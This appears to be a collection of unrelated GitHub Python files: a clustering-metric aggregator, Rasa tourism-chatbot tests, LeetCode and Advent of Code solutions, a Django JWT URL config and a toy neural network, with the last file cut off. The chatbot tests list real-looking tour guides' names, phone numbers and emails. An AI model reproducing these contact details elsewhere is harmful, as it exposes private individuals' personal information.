+{"seq_id":"2336842773","text":"from collections import defaultdict, Counter\nimport numpy as np\nimport pandas as pd\n\n\ndef best_algorithm(df, metric, level, inverse=False):\n leiden_scores = np.array(df[metric][level][\"leiden\"])\n infomap_scores = np.array(df[metric][level][\"infomap\"])\n\n result = leiden_scores > infomap_scores\n\n if inverse:\n result = ~result\n\n best_method = [\"leiden\" if x else \"infomap\" for x in result]\n\n return best_method\n\n\ndef best_algorithm_self(df, algorithm, level, inverse=False):\n leiden_scores = np.array(df[\"cohesion\"][level][algorithm])\n infomap_scores = np.array(df[\"inter_similarity\"][level][algorithm])\n\n result = leiden_scores > infomap_scores\n distances = leiden_scores - infomap_scores\n\n if inverse:\n result = ~result\n\n return result, distances\n\n\nmetric_sign = {\n \"cohesion\": False,\n \"inter_similarity\": True,\n \"dep_sim_corr\": True,\n \"silhouette\": False\n}\n\n\ndef aggregate(df):\n overall_metrics = defaultdict(lambda: defaultdict(lambda: dict()))\n for metric in [\"cohesion\", \"inter_similarity\", \"dep_sim_corr\", \"silhouette\"]:\n pivot = df.pivot(index=\"project\", columns=[\"feature_algorithm\", \"comm_algorithm\"], values=metric)\n columns = sorted(pivot.columns.tolist(), key=lambda x: x[0], reverse=True)\n\n for column in columns:\n overall_metrics[metric][column[0]][column[1]] = pivot[column].tolist()\n\n agg_list = []\n best = defaultdict(list)\n for metric in overall_metrics:\n invert = metric_sign[metric]\n for level in overall_metrics[metric]:\n scores = best_algorithm(overall_metrics, metric, level, invert)\n best[metric].append(scores)\n count = Counter(scores)\n count_leiden = count[\"leiden\"]\n count_infomap = count[\"infomap\"]\n values_leiden = {\"agg_metric\": f\"best {metric}\", \"feature_algorithm\": level, \"comm_algorithm\": \"leiden\",\n metric: count_leiden}\n values_infomap = {\"agg_metric\": f\"best {metric}\", \"feature_algorithm\": level, \"comm_algorithm\": \"leiden\",\n metric: count_infomap}\n\n agg_list.append(values_leiden)\n\n agg_list.append(values_infomap)\n\n print(metric, level, count.most_common())\n\n dist = []\n for level in [\"code2vec\", \"package\", \"document\", \"fastText\", \"TFIDF\"]:\n for algorithm in [\"leiden\", \"infomap\"]:\n scores, distances = best_algorithm_self(overall_metrics, algorithm, level)\n dist.extend([{\"level\": level, \"algorithm\": algorithm, \"dist\": x} for x in distances])\n\n count = Counter(scores)\n print(\"separation\", algorithm, level, count.most_common())\n print(\"Avg distances\", np.nanmean(distances), \"STD\", np.nanstd(distances))\n\n values = {\"agg_metric\": \"sep_value\", \"feature_algorithm\": level, \"comm_algorithm\": algorithm,\n \"Separation\": np.nanmean(distances)}\n\n agg_list.append(values)\n\n all_distances = pd.DataFrame(dist)\n all_distances.to_csv(\"distances.csv\", index=False)\n\n agg_results = pd.DataFrame(agg_list) # , columns=[\"agg_metric\", \"metric\",\n # \"feature_algorithm\", \"comm_algorithm\", \"value\"])\n scores_agreement = []\n mapping = {\n ('infomap', 'infomap', 'infomap', 'infomap', 'infomap'): \"I5-L0\",\n ('infomap', 'infomap', 'infomap', 'infomap', 'leiden'): \"I4-L1\",\n ('infomap', 'infomap', 'infomap', 'leiden', 'leiden'): \"I3-L2\",\n ('infomap', 'infomap', 'leiden', 'leiden', 'leiden'): \"I2-L3\",\n ('infomap', 'leiden', 'leiden', 'leiden', 'leiden'): \"I1-L4\",\n ('leiden', 'leiden', 'leiden', 'leiden', 'leiden'): \"I0-L5\"\n\n }\n for metric in overall_metrics:\n levels = Counter([tuple(sorted(t)) for t in zip(*best[metric])])\n res = {\"metric\": metric}\n for key, num in levels.most_common():\n res[mapping[key]] = num\n\n scores_agreement.append(res)\n\n print(\"agreement\", metric, levels.most_common())\n\n df_agreement = pd.DataFrame(scores_agreement)\n df_agreement.to_csv(\"agreement.csv\", index=False)\n\n return agg_results, scores_agreement\n","repo_name":"SasCezar/ComponentSemantics","sub_path":"componentSemantics/analysis/result_agg.py","file_name":"result_agg.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23790797889","text":"from mock import patch\nimport unittest\nfrom actions_module.activities import (\n #ActionMuseumWorks,\n ActionMuseumsLocation,\n #ActionLocationWork,\n #ActionRoutesOut,\n #ActionRoutesIn,\n ActionRoutesThrough,\n #ActionRoutesFromTo,\n #ActionTourGuideName,\n ActionTourGuidePhone,\n ActionTourGuideEmail,\n ActionTourGuideWeb,\n ActionTourGuideContactInfo,\n ActionTourOfficePhone,\n ActionTourOfficeLocation,\n)\n\n\nclass ActionFake:\n def __init__(self):\n self._message = \"\"\n\n\nclass Dispatcher:\n def __init__(self):\n self._message = \"\"\n self._text = \"\"\n\n def utter_message(self, message=\"\", text=\"\", buttons=\"\", json_message=\"\"):\n self._message = message\n self._buttons = buttons\n self._text = text\n self._buttons = buttons\n self._json_message = json_message\n\n def get_message(self):\n return self._message\n\n def get_text(self):\n return self._text\n\n def get_buttons(self):\n return self._buttons\n\n def get_json_message(self):\n return self._json_message\n\n\n\nclass Tracker:\n\n latest_message = {\"intent\": \"nada\"}\n\n def __init__(self):\n self._slot = {\"location\": \"SOBRARBE\"}\n\n def get_slot(self, name):\n return self._slot[name]\n\n def set_slot(self, slot):\n self._slot = slot\n\n def set_latest_message(self, message):\n self.latest_message = message\n\n\nclass ActionActivitieMock(unittest.TestCase):\n \"\"\"@patch(\"rasa_sdk.Action\")\n def test_ActionMuseumWorks(self, action):\n action.return_value = ActionFake()\n\n assert (\n len(\n self.generic(\n ActionMuseumWorks(),\n {\"location\": \"Pablo Gargallo\"},\n {\"text\": \"Que obras tiene el museo Pablo Gargallo\"},\n )\n )\n ) > 200\"\"\"\n\n # TODO devuelve datos aparentemente incorrectos\n @patch(\"rasa_sdk.Action\")\n def test_ActionMuseumsLocation(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n self.generic(\n ActionMuseumsLocation(),\n {\"location\": \"Zaragoza\"},\n {\"text\": \"que museos hay en Zaragoza\"},\n )\n )\n ) >= 2\n\n \"\"\"@patch(\"rasa_sdk.Action\")\n def test_ActionRoutesOut(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n (\n self.generic(\n ActionRoutesOut(),\n {\"location\": \"Jaca\"},\n {\"text\": \"cuales son las rutas que salen de Jaca\"},\n )\n ).splitlines()\n )\n >= 5\n )\"\"\"\n\n \"\"\"@patch(\"rasa_sdk.Action\")\n def test_ActionRoutesIn(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n (\n self.generic(\n ActionRoutesIn(),\n {\"location\": \"Jaca\"},\n {\"text\": \"cuales son las rutas que llegan a Jaca\"},\n )\n ).splitlines()\n )\n >= 5\n )\"\"\"\n\n @patch(\"rasa_sdk.Action\")\n def test_ActionRoutesThrough(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n (\n self.generic(\n ActionRoutesThrough(),\n {\"location\": \"Jaca\"},\n {\"text\": \"cuales son las rutas que pasan por Jaca\"},\n )\n ).splitlines()\n )\n >= 2\n )\n\n # TODO falla el test\n @patch(\"rasa_sdk.Action\")\n def _test_ActionRoutesFromTo(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n (\n self.generic(\n ActionRoutesFromTo(),\n {\"location\": \"Jaca\"},\n {\"text\": \"que rutas empiezan Pamplona y terminan en Jaca\"},\n )\n ).splitlines()\n )\n > 1\n )\n\n \"\"\"@patch(\"rasa_sdk.Action\")\n def test_ActionTourGuideName(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n (\n self.generic(\n ActionTourGuideName(),\n {\"location\": \"RIBERA BAJA DEL EBRO\"},\n {\n \"text\": \"Dime guias de turismo de la comarca RIBERA BAJA DEL EBRO\"\n },\n )\n ).splitlines()\n )\n >= 3\n )\"\"\"\n\n # TODO Como el nombre esta guardado en formato Apellidos Nombre si hacemos la conslta con Nombre Apellidos no se encuentra nada\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourGuidePhone(self, action):\n action.return_value = ActionFake()\n assert (\n self.generic(\n ActionTourGuidePhone(),\n {\"person\": \"Hernández Royo\"},\n {\"text\": \"cual es el telefono de la guia turistica Hernández Royo\", \"intent_ranking\": [{\"name\": \"aragon.ranking_fake\"}]},\n )\n == \"El teléfono de Hernández Royo Ana Elisa es 976-178273 / 615-084875\"\n )\n\n # TODO Como el nombre esta guardado en formato Apellidos Nombre si hacemos la conslta con Nombre Apellidos no se encuentra nada\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourGuideEmail(self, action):\n action.return_value = ActionFake()\n assert (\n self.generic(\n ActionTourGuideEmail(),\n {\"person\": \"Hernández Royo\"},\n {\"text\": \"cual es el email de la guia turistica Hernández Royo\", \"intent_ranking\": [{\"name\": \"aragon.ranking_fake\"}]},\n )\n == \"El email de Hernández Royo Ana Elisa es sastago40@hotmail.com\"\n )\n\n # TODO Como el nombre esta guardado en formato Apellidos Nombre si hacemos la conslta con Nombre Apellidos no se encuentra nada\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourGuideWeb(self, action):\n action.return_value = ActionFake()\n assert (\n self.generic(\n ActionTourGuideWeb(),\n {\"person\": \"ALCÁZAR RODRÍGUEZ JOSÉ LUÍS\"},\n {\"text\": \"cual es la web del guia turistico ALCÁZAR RODRÍGUEZ JOSÉ LUÍS\", \"intent_ranking\": [{\"name\": \"aragon.ranking_fake\"}]},\n )\n == \"La web de Alcázar Rodríguez José Luís es www.accion21.es\"\n )\n\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourGuideContactInfo(self, action):\n action.return_value = ActionFake()\n assert (\n self.generic(\n ActionTourGuideContactInfo(),\n {\"person\": \"Dalda Abril Hilario\"},\n {\n \"text\": \"cual es la direccion de contacto del guia turistico Dalda Abril Hilario\", \"intent_ranking\": [{\"name\": \"aragon.ranking_fake\"}]\n },\n )\n == \"La información de contacto de Dalda Abril Hilario es dalda.hilario@gmail.es, 978-700381 / 651-300984, DALDA ABRIL HILARIO\"\n )\n\n\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourGuideContactInfo2(self, action):\n action.return_value = ActionFake()\n assert (\n self.generic(\n ActionTourGuideContactInfo(),\n {\"person\": \"Sanz Vitalla Pedro\"},\n {\n \"text\": \"cual es la direccion de contacto del guia turistico Sanz Vitalla Pedro\", \"intent_ranking\": [{\"name\": \"aragon.ranking_fake\"}]\n },\n )\n == \"La información de contacto de Sanz Vitalla Pedro es piter_hu@hotmail.com, 696-145752 / 606-654695, SANZ VITALLA PEDRO\"\n )\n\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourOfficePhone(self, action):\n action.return_value = ActionFake()\n\n assert (\n len(\n (\n self.generic(\n ActionTourOfficePhone(),\n {\"location\": \"Zaragoza\"},\n {\"text\": \"Teléfonos de las oficinas de turismo de Zaragoza\"},\n )\n ).splitlines()\n )\n >= 1\n )\n\n assert (\n len(\n (\n self.generic(\n ActionTourOfficePhone(),\n {\"location\": \"Teruel\"},\n {\"text\": \"Teléfonos de las oficinas de turismo de Teruel\"},\n )\n ).splitlines()\n )\n >= 1\n )\n\n @patch(\"rasa_sdk.Action\")\n def test_ActionTourOfficeLocation(self, action):\n action.return_value = ActionFake()\n assert (\n len(\n (\n self.generic(\n ActionTourOfficeLocation(),\n {\"location\": \"Zaragoza\"},\n {\"text\": \"Dirección de las oficinas de turismo de Zaragoza\"},\n )\n ).splitlines()\n )\n >= 1\n )\n\n @staticmethod\n def generic(action, slot, message):\n print(message)\n dispatcher = Dispatcher()\n tracker = Tracker()\n tracker.set_slot(slot)\n tracker.set_latest_message(message)\n action.run(dispatcher, tracker, None)\n print(dispatcher.get_message())\n return dispatcher.get_message().rstrip(\".\")\n","repo_name":"aragonopendata/chatbot-asistente-conversacional","sub_path":"src/main/python/administrator/tests/test_activities.py","file_name":"test_activities.py","file_ext":"py","file_size_in_byte":9639,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"38902757841","text":"# -*- coding: utf-8 -*-\n# ======================================\n# @File : 10-02.py\n# @Time : 2020/12/8 2:51 下午\n# @Author : Rivarrl\n# ======================================\nfrom algorithm_utils import *\n\nclass Solution:\n \"\"\"\n [面试题 10.02. 变位词组](https://leetcode-cn.com/problems/group-anagrams-lcci/)\n \"\"\"\n @timeit\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n from collections import defaultdict\n d = defaultdict(list)\n def _sort(s):\n return ''.join(sorted([e for e in s], key=lambda x:ord(x[0])-ord('a')))\n for s in strs:\n c = _sort(s)\n d[c].append(s)\n return list(d.values())\n\nif __name__ == '__main__':\n a = Solution()\n a.groupAnagrams([\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"])","repo_name":"Rivarrl/leetcode_python","sub_path":"leetcode/msjd/10-02.py","file_name":"10-02.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"26504216969","text":"\"\"\"simple_JWT_demo URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\n# 导入django-rest-framework包提供的类,下面编写自定义视图时会用到\nfrom rest_framework.views import APIView, Response\n\n# 导入 simplejwt 提供的几个验证视图类\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n TokenVerifyView\n)\n\n\n# 创建一个自���义的视图,仅实现get方法做测试\nclass IndexView(APIView):\n def get(self, request):\n return Response('这个页面需要登录后的用户才能看见', status=200)\n\n\nurlpatterns = [\n # django后台\n path('admin/', admin.site.urls),\n # DRF 提供的一系列身份认证的接口,用于在页面中认证身份,详情查阅DRF文档\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n\n # 获取Token的接口\n path('api/token/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n # 刷新Token有效期的接口\n path('api/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n # 验证Token的有效性\n path('api/token/verify/', TokenVerifyView.as_view(), name='token_verify'),\n\n # 用于测试的自定义视图\n path('index/', IndexView.as_view(), name='index')\n]\n","repo_name":"WuChengqian520/djangorestframework-simplejwt-demo","sub_path":"simple_JWT_demo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"6197022364","text":"#!/usr/bin/python3\nfrom PIL import Image\nfrom sys import argv\n\ndef help():\n\tprint(f'usage: {argv[0]} ')\n\texit()\n\ndef rescale(t,min,max):\n\tassert len(t) == len(min) == len(max)\n\tout = []\n\tfor i in range(len(t)):\n\t\tout.append (int( ( (t[i]-min[i]) / (max[i]-min[i]) ) * 255 * Contrast_overflow) )\n\tif len(t)==4:\n\t\tout[-1]=255\n\tout = tuple(out)\n\treturn out\n\ndef get_borders(input):\n\tall_input = []\n\tfor x in range(width):\n\t\tfor y in range(height):\n\t\t\tall_input.append(image_pixels[x,y])\n\tmin_input = min(all_input)\n\tmax_input = max(all_input)\n\treturn min_input, max_input\n\nif __name__=='__main__':\t\n\tinput_file = argv[1] if len(argv) > 1 else ''\n\tif not input_file: raise IOError ('No input file: please use command line arguments')\n\tif input_file=='-h': help()\n\n\timage = Image.open(input_file)\n\timage_pixels = image.load()\n\twidth, height = image.size\n\n\tContrast_overflow = 1\n\n\tmin_input, max_input = get_borders(image)\n\n\tfor x in range(width):\n\t\tfor y in range(height):\n\t\t\tpixel = image_pixels[x,y]\n\t\t\tpixel = rescale (pixel, min_input, max_input)\n\t\t\timage_pixels[x,y] = pixel\n\toutput_file = input_file.replace('.','_adjusted.') if '.' in input_file else input_file+'_adjusted'\n\timage.save(output_file)\n","repo_name":"medanisjbara/Color-revive","sub_path":"colrev.py","file_name":"colrev.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"6269044291","text":"count = [1,2,3,4]\nfruits =['apples','oranges','babanana']\ndynamic =[1,'monkey',2,'nyunis',3,\"dogis\"]\nelement =[]\n\n# for x in fruits:\n# print(fruits)\n\n# for fruits in fruits:\n# print (\"%s\" %fruits)\n\n# for dynamic in dynamic:\n# print(\"%r\" % dynamic)\n# names =['june','may','april']\n# other = ['we','are','isay']\n# element.append(names)\n# element.append(other)\n\n# for number in count:\n# print(count)\n\n# for x in range(0,5):\n# element.append(x)\n\nname = 'meshack'\nsecond ='mwaura'\nsur = 'makira'\n\nelement.append(\"%s\" % name)\nelement.append(\"%s\" % second)\nelement.append(\"%s\" % sur)\n\nfor element in element:\n\n print(element)\n\n\n\n\n\n","repo_name":"Maury2001/pp","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"9470211612","text":"n=int(input())\nnlist=list(map(int,input().split()))\nnumlist=[]\nfinallist=[11]*(n+1)\ncnt=1\nfor i in nlist:\n numlist.append([cnt,i])\n cnt+=1\n\nstart=numlist[0][0]\nend=numlist[0][1]\nfinallist[0]=0\nfinallist[end]=start\n\nfor i in range(1,len(numlist)):\n start=numlist[i][0]\n end=numlist[i][1]\n cnt=0\n for j in range(1,len(finallist)):\n if finallist[j]>start:\n cnt+=1\n if cnt==end:\n finallist[j+1]=start\n break\n \nprint(finallist)","repo_name":"MutCodingTest/MutCodingTest","sub_path":"2주차/이건회/백준1138.py","file_name":"백준1138.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1910324382","text":"import numpy as np \n\n# Part 1: The input is a list of length 12 binary numbers\n# Determine the most common first bit, second bit, etc\n# The most common bits when interpreted as binary give gamma\n# The least common bits when interpreted as binary give epsilon\n# Return gamma*epsilon for the power consumption\n\n# Attempt 1: Gave correct answer of 4191876 but feels a bit clumsy\n# Gamma and epsilon will always be the complement of each other (bit inversion)\n# So we only need to calculate the Gamma bits\n# To determine most common bit, add up all the bits\n# and compare the sum to the number of readings. \n# If the sum is more than half, then 1 is most common\nnum_readings = 0\nbit_sum = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nwith open(\"input.txt\") as file:\n\tfor row in file:\n\t\tnum_readings += 1\n\t\tfor i in range(12):\n\t\t\tbit_sum[i] += int(row[i])\ngamma_bin = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nepsilon_bin = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nfor i in range(12):\n\tif bit_sum[i] > num_readings/2:\n\t\tgamma_bin[i] = 1\n\telse:\n\t\tepsilon_bin[i] = 1\ngamma, epsilon = 0, 0\nfor i in range(12):\n\tgamma += 2**(11-i)*gamma_bin[i]\n\tepsilon += 2**(11-i)*epsilon_bin[i]\nprint(gamma_bin, gamma*epsilon)\n# could be improved by, instead of taking the sum,\n# when the input is 1, add 1 but when it's 0 substract 1\n# then gamma is determined by whether the bit sum is positive or negative\n# not much cleaner but a bit better\n\n\n\n# Part 2: Filter the input bits\n# if the first bit matches the most common first bit, keep it and discard the rest\n# if only one number remains, stop. That is the oxygen generator rating\n# else, move to the next bit and keep filtering\n# For the CO2 scrubber rating, do the same but the least common bits\n# Return the product of the oxygen generator rating and the CO2 scrubber rating\n# If 0 and 1 are equally common, call 1 more common\n\n# # Attempt 1:\n# # Determine most common bits the same way as above\n# # but with my slight improvement written after Attempt 1\n# bit_sum = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n# with open(\"input.txt\") as file:\n# \tfor row in file:\n# \t\tfor i in range(12):\n# \t\t\tif int(row[i]) == 1:\n# \t\t\t\tbit_sum[i] += 1\n# \t\t\telse:\n# \t\t\t\tbit_sum[i] -= 1\n# most_common = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n# for i in range(12):\n# \tif bit_sum[i] >= 0:\n# \t\tmost_common[i] = 1\n# \telse:\n# \t\tmost_common[i] = 0\n\n# # Now we start filtering\n# # Instead of maybe doing 24 passes, we can keep track of which\n# # input number matches or mismatches the most start bits\n# # if the current number is more then we keep it, otherwise we discard it\n# def count_matches(row):\n# \t# How far into most_common does row match?\n# \ti = 0\n# \twhile i<12 and (int(row[i]) == most_common[i]):\n# \t\ti += 1\n# \treturn i\n\n# def count_mismatches(row):\n# \t# How far into most_common does row mismatch?\n# \ti = 0\n# \twhile i<12 and (int(row[i]) != most_common[i]):\n# \t\ti += 1\n# \treturn i\n\n# with open(\"input.txt\") as file:\n# \tthis_row = file.readline()\n# \tmost_matches = str(this_row)\n# \tnum_matches = count_matches(most_matches)\n# \tmost_mismatches = str(this_row)\n# \tnum_mismatches = count_mismatches(most_mismatches)\n# \tfor row in file:\n# \t\tif count_matches(row) > num_matches:\n# \t\t\tmost_matches = str(row)\n# \t\t\tnum_matches = count_matches(row)\n# \t\tif count_mismatches(row) > num_mismatches:\n# \t\t\tmost_mismatches = str(row)\n# \t\t\tnum_mismatches = count_mismatches(row)\n\n# # Now, if there exists a unique solution to this, we have it\n# # Now to convert to decimal\n# print(most_common, most_matches, most_mismatches)\n# # most_matches = int(''.join(most_matches), 2)\n# # most_mismatches = int(''.join(most_mismatches), 2)\n# most_matches_num = 0\n# most_mismatches_num = 0\n# for i in range(12):\n# \tmost_matches_num += 2**(11-i)*int(most_matches[i])\n# \tmost_mismatches_num += 2**(11-i)*int(most_mismatches[i])\n# print(most_matches_num, most_mismatches_num, most_matches_num*most_mismatches_num)\n\n\n\n# Attempt 2:\n# Attempt 1 was wrong because I am meant to recalculate\n# the most/least common bit value after each filter\n# instead of using the most/least common value of the whole set\ndef MCV(data, i):\n\tcount = 0\n\tfor num in data:\n\t\tif num[i] == \"1\":\n\t\t\tcount += 1\n\t\telse:\n\t\t\tcount -= 1\n\tif count>=0:\n\t\treturn \"1\"\n\treturn \"0\"\n\nmost_common = []\nleast_common = []\nwith open(\"input.txt\") as file:\n\tfor row in file:\n\t\tmost_common.append(row)\n\t\tleast_common.append(row)\n\ni=0\nwhile len(most_common) > 1:\n\tmost_common = list(filter(lambda num: num[i] == MCV(most_common, i), most_common))\n\ti += 1\ni=0\nwhile len(least_common) > 1:\n\tleast_common = list(filter(lambda num: num[i] != MCV(least_common, i), least_common))\n\ti += 1\n\nprint(int(most_common[0], 2)*int(least_common[0], 2))","repo_name":"nickLayman/Personal-Small-Projects","sub_path":"Python/Advent-of-Code-2021/Day-03/Answer.py","file_name":"Answer.py","file_ext":"py","file_size_in_byte":4745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1910792442","text":"import random\nimport pickle\nimport sys\nimport math\nimport copy\n\n\n# creates a node to be used in neural networks\nclass Node:\n def __init__(self):\n # whether the node is in the input layer\n self.inInputLayer = False\n\n # array of weights on connections to previous layer nodes\n self.weights = []\n\n # the bias that this node has\n self.bias = 0\n\n # this node's input\n # the dot product of the previous layer with self.weights\n self.input = 0\n\n # this node's output\n # function(input + bias) -> output\n self.output = 0\n\n def __str__(self):\n string = ''\n string += f\"Weights: {str(self.weights)}\\n\"\n string += f\"Bias: {str(self.bias)}\\n\"\n string += f\"Input: {str(self.input)}\\n\"\n string += f\"Output: {str(self.output)}\"\n return string\n\n # sets whether the node thinks it is in the input layer\n # will not actually change the nodes position\n def setInInputLayer(self, b):\n self.inInputLayer = b\n\n # returns whether the node thinks it is in the input layer\n # does not check actual layer position\n def getInInputLayer(self):\n return self.inInputLayer\n\n # sets the bias of the node to the given value\n # function(input + bias) ==> output\n def setBias(self, val):\n self.bias = val\n\n # returns the current bias of the node\n # function(input + bias) ==> output\n def getBias(self):\n return self.bias\n\n # sets the input of the node to the given value\n # then recalculates the output\n # function(input + bias) ==> output\n def setInput(self, pInput):\n self.input = pInput\n self.recalculateOutput()\n\n # returns the input of the node\n def getInput(self):\n return self.input\n\n # used to (re)calculate output\n # separated off so that the function used can easily change\n # function(input + bias) ==> output\n # input is found at a network level\n def function(self, val):\n # # ReLU (Rectified Linear Unit) function\n # if val < 0:\n # return 0\n # else:\n # return val\n\n # sigmoid function\n return math.exp(val) / (math.exp(val) + 1)\n\n # recalculates the output of the node\n # function(input + bias) ==> output\n def recalculateOutput(self):\n self.output = self.function(self.input + self.bias)\n\n # directly sets output of the node\n # bipasses input and function\n # used only for input nodes\n # used so inverse functions and biases don't need to be considered\n # created when sigmoid was being used\n def setOutput(self, val):\n self.output = val\n\n # returns the output of the node\n def getOutput(self):\n return self.output\n\n\n# creates many nodes, connects them, sets random weights and biases\nclass Network:\n def __init__(self, layers):\n # initialize an empty array of layers (an array of node arrays)\n self.layers = []\n self.makeMultipleLayers(layers)\n self.randomizeNetwork()\n\n # returns an array (a layer) with the given number of nodes\n # adds the given number of nodes to an array and returns that array\n # used in makeMultipleLayers\n def makeLayer(self, numNodes):\n # initialize an empty layer (array)\n layer = []\n\n # add numNodes nodes to the layer\n for x in range(0, numNodes):\n layer.append(Node())\n\n # return an array of numNodes nodes\n return layer\n\n # creates multiple layers of nodes\n # creates an array of node arrays\n # takes an array of integers as input\n # [4,2,2] ==> 3 layers with 4, 2, and 2 nodes each\n def makeMultipleLayers(self, ints):\n # for each input entry, append a layer with that many nodes\n for x in range(0, len(ints)):\n self.layers.append(self.makeLayer(ints[x]))\n\n # creates randomly weighted connections between consecutive layers\n def makeRandomWeights(self):\n # for all layers except the input layer, add weighted connections\n # connects current layer to previous layer\n # so input layer must be skipped\n for layerIndex in range(1, len(self.layers)):\n # calls the current layer 'clayer'\n clayer = self.layers[layerIndex]\n\n # calls the previous layer 'player'\n player = self.layers[layerIndex - 1]\n\n # for each node in clayer,\n # add weighted connections to all nodes in player\n for cnodeIndex in range(0, len(clayer)):\n # calls the current node 'cnode'\n cnode = clayer[cnodeIndex]\n\n # creates an empty array to become the weights array\n # calls the current array of weights 'cweights'\n cweights = []\n\n # for each node in player, add a weighted connection to cnode\n for pnodeIndex in range(0, len(player)):\n # creates a random weight between -1 and 1\n weight = (random.random() - 0.5) * 2\n\n # appends the random weight to cweights\n cweights.append(weight)\n\n # assigns cweights array to cnode\n cnode.weights = cweights\n\n # assigns random biases to every node\n def makeRandomBiases(self):\n # goes to every layer of nodes\n for layer in self.layers:\n # goes to every node in each layer\n for node in layer:\n # sets a random bias between -1 and 1 to each node\n node.setBias((random.random() - .5) * 2)\n\n # returns to input layer\n # and sets all biases to 0 so the actual inputs are used\n for node in self.layers[0]:\n node.setBias(0)\n\n def randomizeNetwork(self):\n self.makeRandomWeights()\n self.makeRandomBiases()\n\n # sets the inputs and outputs of the input layer\n # how any input is given to the network\n # takes in an array of floats as the input, calls this array 'floats'\n # each entry is assigned to the input and output of the corresponding node\n def setInitialLayerActivations(self, floats):\n # goes to every node in the input layer\n for index in range(0, len(self.layers[0])):\n # calls the current node 'cnode'\n cnode = self.layers[0][index]\n\n # sets input of cnode to the corresponding entry of floats\n # every node needs an assigned input or else errors are thrown\n cnode.setInput(floats[index])\n\n # sets output of cnode to the same corresponding entry of floats\n # bipasses input, bias, and function of the node\n cnode.setOutput(floats[index])\n\n # calculates all the other node inputs/outputs based on weights and biases\n def setAllOtherActivations(self):\n # goes to each non-input layer and calculates node activations\n for layerIndex in range(1, len(self.layers)):\n # calls the current layer 'clayer'\n clayer = self.layers[layerIndex]\n\n # calls the previous layer 'player'\n player = self.layers[layerIndex - 1]\n\n # goes to each node in clayer\n for cnodeIndex in range(0, len(clayer)):\n # calls the current node 'cnode'\n cnode = clayer[cnodeIndex]\n\n # creates placeholder int called 'cnodeInput'\n # and initializes it to 0\n cnodeInput = 0\n\n # for each node in player, adds its contribution to cnodeInput\n for pnodeIndex in range(0, len(player)):\n # calls the current-in-use node\n # in the previous layer 'pnode'\n pnode = player[pnodeIndex]\n\n # calculates the weighted output of pnode\n # and adds it to cnodeInput\n cnodeInput += cnode.weights[pnodeIndex] * pnode.getOutput()\n\n # sets cnode input to cnodeInput\n cnode.setInput(cnodeInput)\n\n def activateWithInput(self, pInput):\n self.setInitialLayerActivations(pInput)\n self.setAllOtherActivations()\n\n # used to manually check everything about the network\n # displays each node's layer, position, weights, input, bias, and output\n def checkValues(self):\n # goes to every layer\n for layerIndex in range(0, len(self.layers)):\n # goes to every node in each layer and displays its information\n for nodeIndex in range(0, len(self.layers[layerIndex])):\n # adds a blank line before every node's information\n print()\n\n # calls the current node 'node'\n node = self.layers[layerIndex][nodeIndex]\n\n # displays node's labeled information\n print(\"layer \" + str(layerIndex) + \" Node \" + str(nodeIndex))\n print(node.__str__())\n # adds 2 blank lines after every layer finishes\n print()\n print()\n\n def tweak(self):\n for layer in self.layers:\n for node in layer:\n weights = node.weights\n for i in range(len(weights)):\n if random.randint(0, 2):\n weights[i] = (random.uniform(0.9, 1.1))*weights[i]\n else:\n weights[i] = (random.uniform(-1.1, -0.9)*weights[i])\n\n\ndef checkAccuracy(numerator, denominator, network):\n expectation = numerator % denominator == 0\n falseNode = network.layers[-1][0]\n trueNode = network.layers[-1][1]\n actual = [falseNode.output, trueNode.output]\n return expectation, actual\n\n\ndef cost(numerator, denominator, network):\n falseVal = network.layers[-1][0].output\n trueVal = network.layers[-1][1].output\n if numerator % 